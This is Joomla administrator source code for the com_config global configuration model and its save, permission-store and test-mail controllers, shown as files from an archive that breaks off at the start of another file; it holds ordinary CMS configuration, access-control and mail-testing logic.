use Joomla\Utilities\ArrayHelper;

/**
 * Model for the global configuration
 *
 * @since  3.2
 */
class ConfigModelApplication extends ConfigModelForm
{
	/**
	 * Array of protected password fields from the configuration.php
	 *
	 * @var    array
	 * @since  3.9.23
	 */
	private $protectedConfigurationFields = array('password', 'secret', 'ftp_pass', 'smtppass', 'redis_server_auth', 'session_redis_server_auth');

	/**
	 * Method to get a form object.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since	1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_config.application', 'application', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the configuration data.
	 *
	 * This method will load the global configuration data straight from
	 * JConfig. If configuration data has been saved in the session, that
	 * data will be merged into the original data, overwriting it.
	 *
	 * @return	array  An array containing all global config data.
	 *
	 * @since	1.6
	 */
	public function getData()
	{
		// Get the config data.
		$config = new JConfig;
		$data   = ArrayHelper::fromObject($config);

		// Get the correct driver at runtime
		$data['dbtype'] = JFactory::getDbo()->getName();

		// Prime the asset_id for the rules.
		$data['asset_id'] = 1;

		// Get the text filter data
		$params          = JComponentHelper::getParams('com_config');
		$data['filters'] = ArrayHelper::fromObject($params->get('filters'));

		// If no filter data found, get from com_content (update of 1.6/1.7 site)
		if (empty($data['filters']))
		{
			$contentParams = JComponentHelper::getParams('com_content');
			$data['filters'] = ArrayHelper::fromObject($contentParams->get('filters'));
		}

		// Check for data in the session.
		$temp = JFactory::getApplication()->getUserState('com_config.config.global.data');

		// Merge in the session data.
		if (!empty($temp))
		{
			// $temp can sometimes be an object, and we need it to be an array
			if (is_object($temp))
			{
				$temp = ArrayHelper::fromObject($temp);
			}

			$data = array_merge($data, $temp);
		}

		return $data;
	}

	/**
	 * Method to save the configuration data.
	 *
	 * @param   array  $data  An array containing all global config data.
	 *
	 * @return	boolean  True on success, false on failure.
	 *
	 * @since	1.6
	 */
	public function save($data)
	{
		$app = JFactory::getApplication();
		$dispatcher = JEventDispatcher::getInstance();
		$config = JFactory::getConfig();

		// Try to load the values from the configuration file
		foreach ($this->protectedConfigurationFields as $fieldKey)
		{
			if (!isset($data[$fieldKey]))
			{
				$data[$fieldKey] = $config->get($fieldKey);
			}
		}

		// Check that we aren't setting wrong database configuration
		$options = array(
			'driver'   => $data['dbtype'],
			'host'     => $data['host'],
			'user'     => $data['user'],
			'password' => $data['password'],
			'database' => $data['db'],
			'prefix'   => $data['dbprefix']
		);

		try
		{
			JDatabaseDriver::getInstance($options)->getVersion();
		}
		catch (Exception $e)
		{
			$app->enqueueMessage(JText::_('JLIB_DATABASE_ERROR_DATABASE_CONNECT'), 'error');

			return false;
		}

		// Check if we can set the Force SSL option
		if ((int) $data['force_ssl'] !== 0 && (int) $data['force_ssl'] !== (int) JFactory::getConfig()->get('force_ssl', '0'))
		{
			try
			{
				// Make an HTTPS request to check if the site is available in HTTPS.
				$host    = JUri::getInstance()->getHost();
				$options = new \Joomla\Registry\Registry;
				$options->set('userAgent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0');

				// Do not check for valid server certificate here, leave this to the user, moreover disable using a proxy if any is configured.
				$options->set('transport.curl',
					array(
						CURLOPT_SSL_VERIFYPEER => false,
						CURLOPT_SSL_VERIFYHOST => false,
						CURLOPT_PROXY => null,
						CURLOPT_PROXYUSERPWD => null,
					)
				);
				$response = JHttpFactory::getHttp($options)->get('https://' . $host . JUri::root(true) . '/', array('Host' => $host), 10);

				// If available in HTTPS check also the status code.
				if (!in_array($response->code, array(200, 503, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 401), true))
				{
					throw new RuntimeException(JText::_('COM_CONFIG_ERROR_SSL_NOT_AVAILABLE_HTTP_CODE'));
				}
			}
			catch (RuntimeException $e)
			{
				$data['force_ssl'] = 0;

				// Also update the user state
				$app->setUserState('com_config.config.global.data.force_ssl', 0);

				// Inform the user
				$app->enqueueMessage(JText::sprintf('COM_CONFIG_ERROR_SSL_NOT_AVAILABLE', $e->getMessage()), 'warning');
			}
		}

		// Save the rules
		if (isset($data['rules']))
		{
			$rules = new JAccessRules($data['rules']);

			// Check that we aren't removing our Super User permission
			// Need to get groups from database, since they might have changed
			$myGroups      = JAccess::getGroupsByUser(JFactory::getUser()->get('id'));
			$myRules       = $rules->getData();
			$hasSuperAdmin = $myRules['core.admin']->allow($myGroups);

			if (!$hasSuperAdmin)
			{
				$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN'), 'error');

				return false;
			}

			$asset = JTable::getInstance('asset');

			if ($asset->loadByName('root.1'))
			{
				$asset->rules = (string) $rules;

				if (!$asset->check() || !$asset->store())
				{
					$app->enqueueMessage($asset->getError(), 'error');

					return;
				}
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND'), 'error');

				return false;
			}

			unset($data['rules']);
		}

		// Save the text filters
		if (isset($data['filters']))
		{
			$registry = new Registry(array('filters' => $data['filters']));

			$extension = JTable::getInstance('extension');

			// Get extension_id
			$extensionId = $extension->find(array('name' => 'com_config'));

			if ($extension->load((int) $extensionId))
			{
				$extension->params = (string) $registry;

				if (!$extension->check() || !$extension->store())
				{
					$app->enqueueMessage($extension->getError(), 'error');

					return;
				}
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND'), 'error');

				return false;
			}

			unset($data['filters']);
		}

		// Get the previous configuration.
		$prev = new JConfig;
		$prev = ArrayHelper::fromObject($prev);

		// Merge the new data in. We do this to preserve values that were not in the form.
		$data = array_merge($prev, $data);

		/*
		 * Perform miscellaneous options based on configuration settings/changes.
		 */

		// Escape the offline message if present.
		if (isset($data['offline_message']))
		{
			$data['offline_message'] = JFilterOutput::ampReplace($data['offline_message']);
		}

		// Purge the database session table if we are changing to the database handler.
		if ($prev['session_handler'] != 'database' && $data['session_handler'] == 'database')
		{
			$table = JTable::getInstance('session');
			$table->purge(-1);
		}

		// Set the shared session configuration
		if (isset($data['shared_session']))
		{
			$currentShared = isset($prev['shared_session']) ? $prev['shared_session'] : '0';

			// Has the user enabled shared sessions?
			if ($data['shared_session'] == 1 && $currentShared == 0)
			{
				// Generate a random shared session name
				$data['session_name'] = JUserHelper::genRandomPassword(16);
			}

			// Has the user disabled shared sessions?
			if ($data['shared_session'] == 0 && $currentShared == 1)
			{
				// Remove the session name value
				unset($data['session_name']);
			}
		}

		if (empty($data['cache_handler']))
		{
			$data['caching'] = 0;
		}

		/*
		 * Look for a custom cache_path
		 * First check if a path is given in the submitted data, then check if a path exists in the previous data, otherwise use the default
		 */
		if (!empty($data['cache_path']))
		{
			$path = $data['cache_path'];
		}
		elseif (!empty($prev['cache_path']))
		{
			$path = $prev['cache_path'];
		}
		else
		{
			$path = JPATH_SITE . '/cache';
		}

		// Give a warning if the cache-folder can not be opened
		if ($data['caching'] > 0 && $data['cache_handler'] == 'file' && @opendir($path) == false)
		{
			$error = true;

			// If a custom path is in use, try using the system default instead of disabling cache
			if ($path !== JPATH_SITE . '/cache' && @opendir(JPATH_SITE . '/cache') != false)
			{
				try
				{
					JLog::add(
						JText::sprintf('COM_CONFIG_ERROR_CUSTOM_CACHE_PATH_NOTWRITABLE_USING_DEFAULT', $path, JPATH_SITE . '/cache'),
						JLog::WARNING,
						'jerror'
					);
				}
				catch (RuntimeException $logException)
				{
					$app->enqueueMessage(
						JText::sprintf('COM_CONFIG_ERROR_CUSTOM_CACHE_PATH_NOTWRITABLE_USING_DEFAULT', $path, JPATH_SITE . '/cache'),
						'warning'
					);
				}

				$path  = JPATH_SITE . '/cache';
				$error = false;

				$data['cache_path'] = '';
			}

			if ($error)
			{
				try
				{
					JLog::add(JText::sprintf('COM_CONFIG_ERROR_CACHE_PATH_NOTWRITABLE', $path), JLog::WARNING, 'jerror');
				}
				catch (RuntimeException $exception)
				{
					$app->enqueueMessage(JText::sprintf('COM_CONFIG_ERROR_CACHE_PATH_NOTWRITABLE', $path), 'warning');
				}

				$data['caching'] = 0;
			}
		}

		// Did the user remove their custom cache path?  Don't save the variable to the config
		if (empty($data['cache_path']))
		{
			unset($data['cache_path']);
		}

		// Clean the cache if disabled but previously enabled or changing cache handlers; these operations use the `$prev` data already in memory
		if ((!$data['caching'] && $prev['caching']) || $data['cache_handler'] !== $prev['cache_handler'])
		{
			try
			{
				JFactory::getCache()->clean();
			}
			catch (JCacheExceptionConnecting $exception)
			{
				try
				{
					JLog::add(JText::_('COM_CONFIG_ERROR_CACHE_CONNECTION_FAILED'), JLog::WARNING, 'jerror');
				}
				catch (RuntimeException $logException)
				{
					$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_CACHE_CONNECTION_FAILED'), 'warning');
				}
			}
			catch (JCacheExceptionUnsupported $exception)
			{
				try
				{
					JLog::add(JText::_('COM_CONFIG_ERROR_CACHE_DRIVER_UNSUPPORTED'), JLog::WARNING, 'jerror');
				}
				catch (RuntimeException $logException)
				{
					$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_CACHE_DRIVER_UNSUPPORTED'), 'warning');
				}
			}
		}

		// Create the new configuration object.
		$config = new Registry($data);

		// Overwrite the old FTP credentials with the new ones.
		$temp = JFactory::getConfig();
		$temp->set('ftp_enable', $data['ftp_enable']);
		$temp->set('ftp_host', $data['ftp_host']);
		$temp->set('ftp_port', $data['ftp_port']);
		$temp->set('ftp_user', $data['ftp_user']);
		$temp->set('ftp_pass', $data['ftp_pass']);
		$temp->set('ftp_root', $data['ftp_root']);

		// Clear cache of com_config component.
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);

		$result = $dispatcher->trigger('onApplicationBeforeSave', array($config));

		// Store the data.
		if (in_array(false, $result, true))
		{
			throw new RuntimeException(JText::_('COM_CONFIG_ERROR_UNKNOWN_BEFORE_SAVING'));
		}

		// Write the configuration file.
		$result = $this->writeConfigFile($config);

		// Trigger the after save event.
		$dispatcher->trigger('onApplicationAfterSave', array($config));

		return $result;
	}

	/**
	 * Method to unset the root_user value from configuration data.
	 *
	 * This method will load the global configuration data straight from
	 * JConfig and remove the root_user value for security, then save the configuration.
	 *
	 * @return	boolean  True on success, false on failure.
	 *
	 * @since	1.6
	 */
	public function removeroot()
	{
		$dispatcher = JEventDispatcher::getInstance();

		// Get the previous configuration.
		$prev = new JConfig;
		$prev = ArrayHelper::fromObject($prev);

		// Create the new configuration object, and unset the root_user property
		unset($prev['root_user']);
		$config = new Registry($prev);

		$result = $dispatcher->trigger('onApplicationBeforeSave', array($config));

		// Store the data.
		if (in_array(false, $result, true))
		{
			throw new RuntimeException(JText::_('COM_CONFIG_ERROR_UNKNOWN_BEFORE_SAVING'));
		}

		// Write the configuration file.
		$result = $this->writeConfigFile($config);

		// Trigger the after save event.
		$dispatcher->trigger('onApplicationAfterSave', array($config));

		return $result;
	}

	/**
	 * Method to write the configuration to a file.
	 *
	 * @param   Registry  $config  A Registry object containing all global config data.
	 *
	 * @return	boolean  True on success, false on failure.
	 *
	 * @since	2.5.4
	 * @throws  RuntimeException
	 */
	private function writeConfigFile(Registry $config)
	{
		jimport('joomla.filesystem.path');
		jimport('joomla.filesystem.file');

		// Set the configuration file path.
		$file = JPATH_CONFIGURATION . '/configuration.php';

		// Get the new FTP credentials.
		$ftp = JClientHelper::getCredentials('ftp', true);

		$app = JFactory::getApplication();

		// Attempt to make the file writeable if using FTP.
		if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0644'))
		{
			$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE'), 'notice');
		}

		// Attempt to write the configuration file as a PHP class named JConfig.
		$configuration = $config->toString('PHP', array('class' => 'JConfig', 'closingtag' => false));

		if (!JFile::write($file, $configuration))
		{
			throw new RuntimeException(JText::_('COM_CONFIG_ERROR_WRITE_FAILED'));
		}

		// Invalidates the cached configuration file
		if (function_exists('opcache_invalidate'))
		{
			opcache_invalidate($file);
		}

		// Attempt to make the file unwriteable if NOT using FTP.
		if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0444'))
		{
			$app->enqueueMessage(JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'), 'notice');
		}

		return true;
	}

	/**
	 * Method to store the permission values in the asset table.
	 *
	 * This method will get an array with permission key value pairs and transform it
	 * into json and update the asset table in the database.
	 *
	 * @param   string  $permission  Need an array with Permissions (component, rule, value and title)
	 *
	 * @return  array  A list of result data.
	 *
	 * @since   3.5
	 */
	public function storePermissions($permission = null)
	{
		$app  = JFactory::getApplication();
		$user = JFactory::getUser();

		if (is_null($permission))
		{
			// Get data from input.
			$permission = array(
				'component' => $app->input->get('comp'),
				'action'    => $app->input->get('action'),
				'rule'      => $app->input->get('rule'),
				'value'     => $app->input->get('value'),
				'title'     => $app->input->get('title', '', 'RAW')
			);
		}

		// We are creating a new item so we don't have an item id so don't allow.
		if (substr($permission['component'], -6) === '.false')
		{
			$app->enqueueMessage(JText::_('JLIB_RULES_SAVE_BEFORE_CHANGE_PERMISSIONS'), 'error');

			return false;
		}

		// Check if the user is authorized to do this.
		if (!$user->authorise('core.admin', $permission['component']))
		{
			$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');

			return false;
		}

		$permission['component'] = empty($permission['component']) ? 'root.1' : $permission['component'];

		// Current view is global config?
		$isGlobalConfig = $permission['component'] === 'root.1';

		// Check if changed group has Super User permissions.
		$isSuperUserGroupBefore = JAccess::checkGroup($permission['rule'], 'core.admin');

		// Check if current user belongs to changed group.
		$currentUserBelongsToGroup = in_array((int) $permission['rule'], $user->groups) ? true : false;

		// Get current user groups tree.
		$currentUserGroupsTree = JAccess::getGroupsByUser($user->id, true);

		// Check if current user belongs to changed group.
		$currentUserSuperUser = $user->authorise('core.admin');

		// If user is not Super User cannot change the permissions of a group it belongs to.
		if (!$currentUserSuperUser && $currentUserBelongsToGroup)
		{
			$app->enqueueMessage(JText::_('JLIB_USER_ERROR_CANNOT_CHANGE_OWN_GROUPS'), 'error');

			return false;
		}

		// If user is not Super User cannot change the permissions of a group it belongs to.
		if (!$currentUserSuperUser && in_array((int) $permission['rule'], $currentUserGroupsTree))
		{
			$app->enqueueMessage(JText::_('JLIB_USER_ERROR_CANNOT_CHANGE_OWN_PARENT_GROUPS'), 'error');

			return false;
		}

		// If user is not Super User cannot change the permissions of a Super User Group.
		if (!$currentUserSuperUser && $isSuperUserGroupBefore && !$currentUserBelongsToGroup)
		{
			$app->enqueueMessage(JText::_('JLIB_USER_ERROR_CANNOT_CHANGE_SUPER_USER'), 'error');

			return false;
		}

		// If user is not Super User cannot change the Super User permissions in any group it belongs to.
		if ($isSuperUserGroupBefore && $currentUserBelongsToGroup && $permission['action'] === 'core.admin')
		{
			$app->enqueueMessage(JText::_('JLIB_USER_ERROR_CANNOT_DEMOTE_SELF'), 'error');

			return false;
		}

		try
		{
			$asset  = JTable::getInstance('asset');
			$result = $asset->loadByName($permission['component']);

			if ($result === false)
			{
				$data = array($permission['action'] => array($permission['rule'] => $permission['value']));

				$rules        = new JAccessRules($data);
				$asset->rules = (string) $rules;
				$asset->name  = (string) $permission['component'];
				$asset->title = (string) $permission['title'];

				// Get the parent asset id so we have a correct tree.
				$parentAsset = JTable::getInstance('Asset');

				if (strpos($asset->name, '.') !== false)
				{
					$assetParts = explode('.', $asset->name);
					$parentAsset->loadByName($assetParts[0]);
					$parentAssetId = $parentAsset->id;
				}
				else
				{
					$parentAssetId = $parentAsset->getRootId();
				}

				/**
				 * @to do: incorrect ACL stored
				 * When changing a permission of an item that doesn't have a row in the asset table the row a new row is created.
				 * This works fine for item <-> component <-> global config scenario and component <-> global config scenario.
				 * But doesn't work properly for item <-> section(s) <-> component <-> global config scenario,
				 * because a wrong parent asset id (the component) is stored.
				 * Happens when there is no row in the asset table (ex: deleted or not created on update).
				 */

				$asset->setLocation($parentAssetId, 'last-child');
			}
			else
			{
				// Decode the rule settings.
				$temp = json_decode($asset->rules, true);

				// Check if a new value is to be set.
				if (isset($permission['value']))
				{
					// Check if we already have an action entry.
					if (!isset($temp[$permission['action']]))
					{
						$temp[$permission['action']] = array();
					}

					// Check if we already have a rule entry.
					if (!isset($temp[$permission['action']][$permission['rule']]))
					{
						$temp[$permission['action']][$permission['rule']] = array();
					}

					// Set the new permission.
					$temp[$permission['action']][$permission['rule']] = (int) $permission['value'];

					// Check if we have an inherited setting.
					if ($permission['value'] === '')
					{
						unset($temp[$permission['action']][$permission['rule']]);
					}

					// Check if we have any rules.
					if (!$temp[$permission['action']])
					{
						unset($temp[$permission['action']]);
					}
				}
				else
				{
					// There is no value so remove the action as it's not needed.
					unset($temp[$permission['action']]);
				}

				$asset->rules = json_encode($temp, JSON_FORCE_OBJECT);
			}

			if (!$asset->check() || !$asset->store())
			{
				$app->enqueueMessage(JText::_('JLIB_UNKNOWN'), 'error');

				return false;
			}
		}
		catch (Exception $e)
		{
			$app->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		// All checks done.
		$result = array(
			'text'    => '',
			'class'   => '',
			'result'  => true,
		);

		// Show the current effective calculated permission considering current group, path and cascade.

		try
		{
			// Get the asset id by the name of the component.
			$query = $this->db->getQuery(true)
				->select($this->db->quoteName('id'))
				->from($this->db->quoteName('#__assets'))
				->where($this->db->quoteName('name') . ' = ' . $this->db->quote($permission['component']));

			$this->db->setQuery($query);

			$assetId = (int) $this->db->loadResult();

			// Fetch the parent asset id.
			$parentAssetId = null;

			/**
			 * @to do: incorrect info
			 * When creating a new item (not saving) it uses the calculated permissions from the component (item <-> component <-> global config).
			 * But if we have a section too (item <-> section(s) <-> component <-> global config) this is not correct.
			 * Also, currently it uses the component permission, but should use the calculated permissions for achild of the component/section.
			 */

			// If not in global config we need the parent_id asset to calculate permissions.
			if (!$isGlobalConfig)
			{
				// In this case we need to get the component rules too.
				$query->clear()
					->select($this->db->quoteName('parent_id'))
					->from($this->db->quoteName('#__assets'))
					->where($this->db->quoteName('id') . ' = ' . $assetId);

				$this->db->setQuery($query);

				$parentAssetId = (int) $this->db->loadResult();
			}

			// Get the group parent id of the current group.
			$query->clear()
				->select($this->db->quoteName('parent_id'))
				->from($this->db->quoteName('#__usergroups'))
				->where($this->db->quoteName('id') . ' = ' . (int) $permission['rule']);

			$this->db->setQuery($query);

			$parentGroupId = (int) $this->db->loadResult();

			// Count the number of child groups of the current group.
			$query->clear()
				->select('COUNT(' . $this->db->quoteName('id') . ')')
				->from($this->db->quoteName('#__usergroups'))
				->where($this->db->quoteName('parent_id') . ' = ' . (int) $permission['rule']);

			$this->db->setQuery($query);

			$totalChildGroups = (int) $this->db->loadResult();
		}
		catch (Exception $e)
		{
			$app->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		// Clear access statistics.
		JAccess::clearStatics();

		// After current group permission is changed we need to check again if the group has Super User permissions.
		$isSuperUserGroupAfter = JAccess::checkGroup($permission['rule'], 'core.admin');

		// Get the rule for just this asset (non-recursive) and get the actual setting for the action for this group.
		$assetRule = JAccess::getAssetRules($assetId, false, false)->allow($permission['action'], $permission['rule']);

		// Get the group, group parent id, and group global config recursive calculated permission for the chosen action.
		$inheritedGroupRule = JAccess::checkGroup($permission['rule'], $permission['action'], $assetId);

		if (!empty($parentAssetId))
		{
			$inheritedGroupParentAssetRule = JAccess::checkGroup($permission['rule'], $permission['action'], $parentAssetId);
		}
		else
		{
			$inheritedGroupParentAssetRule = null;
		}

		$inheritedParentGroupRule = !empty($parentGroupId) ? JAccess::checkGroup($parentGroupId, $permission['action'], $assetId) : null;

		// Current group is a Super User group, so calculated setting is "Allowed (Super User)".
		if ($isSuperUserGroupAfter)
		{
			$result['class'] = 'label label-success';
			$result['text'] = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . JText::_('JLIB_RULES_ALLOWED_ADMIN');
		}
		// Not super user.
		else
		{
			// First get the real recursive calculated setting and add (Inherited) to it.

			// If recursive calculated setting is "Denied" or null. Calculated permission is "Not Allowed (Inherited)".
			if ($inheritedGroupRule === null || $inheritedGroupRule === false)
			{
				$result['class'] = 'label label-important';
				$result['text']  = JText::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
			}
			// If recursive calculated setting is "Allowed". Calculated permission is "Allowed (Inherited)".
			else
			{
				$result['class'] = 'label label-success';
				$result['text']  = JText::_('JLIB_RULES_ALLOWED_INHERITED');
			}

			// Second part: Overwrite the calculated permissions labels if there is an explicit permission in the current group.

			/**
			 * @todo: incorrect info
			 * If a component has a permission that doesn't exists in global config (ex: frontend editing in com_modules) by default
			 * we get "Not Allowed (Inherited)" when we should get "Not Allowed (Default)".
			 */

			// If there is an explicit permission "Not Allowed". Calculated permission is "Not Allowed".
			if ($assetRule === false)
			{
				$result['class'] = 'label label-important';
				$result['text']  = JText::_('JLIB_RULES_NOT_ALLOWED');
			}
			// If there is an explicit permission is "Allowed". Calculated permission is "Allowed".
			elseif ($assetRule === true)
			{
				$result['class'] = 'label label-success';
				$result['text']  = JText::_('JLIB_RULES_ALLOWED');
			}

			// Third part: Overwrite the calculated permissions labels for special cases.

			// Global configuration with "Not Set" permission. Calculated permission is "Not Allowed (Default)".
			if (empty($parentGroupId) && $isGlobalConfig === true && $assetRule === null)
			{
				$result['class'] = 'label label-important';
				$result['text']  = JText::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
			}

			/**
			 * Component/Item with explicit "Denied" permission at parent Asset (Category, Component or Global config) configuration.
			 * Or some parent group has an explicit "Denied".
			 * Calculated permission is "Not Allowed (Locked)".
			 */
			elseif ($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule === false)
			{
				$result['class'] = 'label label-important';
				$result['text']  = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
			}
		}

		// If removed or added super user from group, we need to refresh the page to recalculate all settings.
		if ($isSuperUserGroupBefore != $isSuperUserGroupAfter)
		{
			$app->enqueueMessage(JText::_('JLIB_RULES_NOTICE_RECALCULATE_GROUP_PERMISSIONS'), 'notice');
		}

		// If this group has child groups, we need to refresh the page to recalculate the child settings.
		if ($totalChildGroups > 0)
		{
			$app->enqueueMessage(JText::_('JLIB_RULES_NOTICE_RECALCULATE_GROUP_CHILDS_PERMISSIONS'), 'notice');
		}

		return $result;
	}

	/**
	 * Method to send a test mail which is called via an AJAX request
	 *
	 * @return boolean
	 *
	 * @since   3.5
	 * @throws Exception
	 */
	public function sendTestMail()
	{
		// Set the new values to test with the current settings
		$app      = JFactory::getApplication();
		$input    = $app->input;
		$smtppass = $input->get('smtppass', null, 'RAW');

		$app->set('smtpauth', $input->get('smtpauth'));
		$app->set('smtpuser', $input->get('smtpuser', '', 'STRING'));
		$app->set('smtphost', $input->get('smtphost'));
		$app->set('smtpsecure', $input->get('smtpsecure'));
		$app->set('smtpport', $input->get('smtpport'));
		$app->set('mailfrom', $input->get('mailfrom', '', 'STRING'));
		$app->set('fromname', $input->get('fromname', '', 'STRING'));
		$app->set('mailer', $input->get('mailer'));
		$app->set('mailonline', $input->get('mailonline'));

		// Use smtppass only if it was submitted
		if ($smtppass !== null)
		{
			$app->set('smtppass', $smtppass);
		}

		$mail = JFactory::getMailer();

		// Prepare email and send try to send it
		$mailSubject = JText::sprintf('COM_CONFIG_SENDMAIL_SUBJECT', $app->get('sitename'));
		$mailBody    = JText::sprintf('COM_CONFIG_SENDMAIL_BODY', JText::_('COM_CONFIG_SENDMAIL_METHOD_' . strtoupper($mail->Mailer)));

		if ($mail->sendMail($app->get('mailfrom'), $app->get('fromname'), $app->get('mailfrom'), $mailSubject, $mailBody) === true)
		{
			$methodName = JText::_('COM_CONFIG_SENDMAIL_METHOD_' . strtoupper($mail->Mailer));

			// If JMail send the mail using PHP Mail as fallback.
			if ($mail->Mailer != $app->get('mailer'))
			{
				$app->enqueueMessage(JText::sprintf('COM_CONFIG_SENDMAIL_SUCCESS_FALLBACK', $app->get('mailfrom'), $methodName), 'warning');
			}
			else
			{
				$app->enqueueMessage(JText::sprintf('COM_CONFIG_SENDMAIL_SUCCESS', $app->get('mailfrom'), $methodName), 'message');
			}

			return true;
		}

		$app->enqueueMessage(JText::_('COM_CONFIG_SENDMAIL_ERROR'), 'error');

		return false;
	}
}
com_config/controller/application/save.php000060400000006513152455305270015015 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Save Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerApplicationSave extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Method to save global configuration.
	 *
	 * @return  mixed  Calls $app->redirect() for all cases except JSON
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'), 'error');
			$this->app->redirect('index.php');
		}

		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			$this->app->redirect('index.php');
		}

		// Clear the data from the session.
		$this->app->setUserState('com_config.config.global.data', null);

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');

		$model = new ConfigModelApplication;
		$data  = $this->input->post->get('jform', array(), 'array');

		// Complete data array if needed
		$oldData = $model->getData();

		$data = array_replace($oldData, $data);

		// Get request type
		$saveFormat = JFactory::getDocument()->getType();

		// Handle service requests
		if ($saveFormat == 'json')
		{
			$form = $model->getForm();
			$return = $model->validate($form, $data);

			if ($return === false)
			{
				$this->app->setHeader('Status', 422, true);

				return false;
			}

			return $model->save($return);
		}

		// Must load after serving service-requests
		$form = $model->getForm();

		// Validate the posted data.
		$return = $model->validate($form, $data);

		// Check for validation errors.
		if ($return === false)
		{
			/*
			 * The validate method enqueued all messages for us, so we just need to redirect back.
			 */

			// Save the posted data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Redirect back to the edit screen.
			$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.application', false));
		}

		// Attempt to save the configuration.
		$data   = $return;
		$return = $model->save($data);

		// Check the return value.
		if ($return === false)
		{
			/*
			 * The save method enqueued all messages for us, so we just need to redirect back.
			 */

			// Save the validated data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Save failed, go back to the screen and display a notice.
			$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.application', false));
		}

		// Set the success message.
		$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'), 'message');

		// Set the redirect based on the task.
		switch ($this->options[3])
		{
			case 'apply':
				$this->app->redirect(JRoute::_('index.php?option=com_config', false));
				break;

			case 'save':
			default:
				$this->app->redirect(JRoute::_('index.php', false));
				break;
		}
	}
}
com_config/controller/application/store.php000060400000002204152455305270015204 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Controller for global configuration, Store Permissions in Database
 *
 * @since  3.5
 */
class ConfigControllerApplicationStore extends JControllerBase
{
	/**
	 * Method to GET permission value and give it to the model for storing in the database.
	 *
	 * @return  boolean  true on success, false when failed
	 *
	 * @since   3.5
	 */
	public function execute()
	{
		// Send json mime type.
		$this->app->mimeType = 'application/json';
		$this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet);
		$this->app->sendHeaders();

		// Check if user token is valid.
		if (!JSession::checkToken('get'))
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'), 'error');
			echo new JResponseJson;
			$this->app->close();
		}

		$model = new ConfigModelApplication;
		echo new JResponseJson($model->storePermissions());
		$this->app->close();
	}
}
com_config/controller/application/sendtestmail.php000060400000002403152455305270016545 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Send Test Mail Controller from global configuration
 *
 * @since  3.5
 */
class ConfigControllerApplicationSendtestmail extends JControllerBase
{
	/**
	 * Method to send the test mail.
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function execute()
	{
		// Send json mime type.
		$this->app->mimeType = 'application/json';
		$this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet);
		$this->app->sendHeaders();

		// Check if user token is valid.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'), 'error');
			echo new JResponseJson;
			$this->app->close();
		}

		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			echo new JResponseJson;
			$this->app->close();
		}

		$model = new ConfigModelApplication;
		echo new JResponseJson($model->sendTestMail());
		$this->app->close();
	}
}
com_config/controller/application/removeroot.php000060400000003206152455305270016254 0ustar00<?php
/**
 * @package     Joomla.Administrator
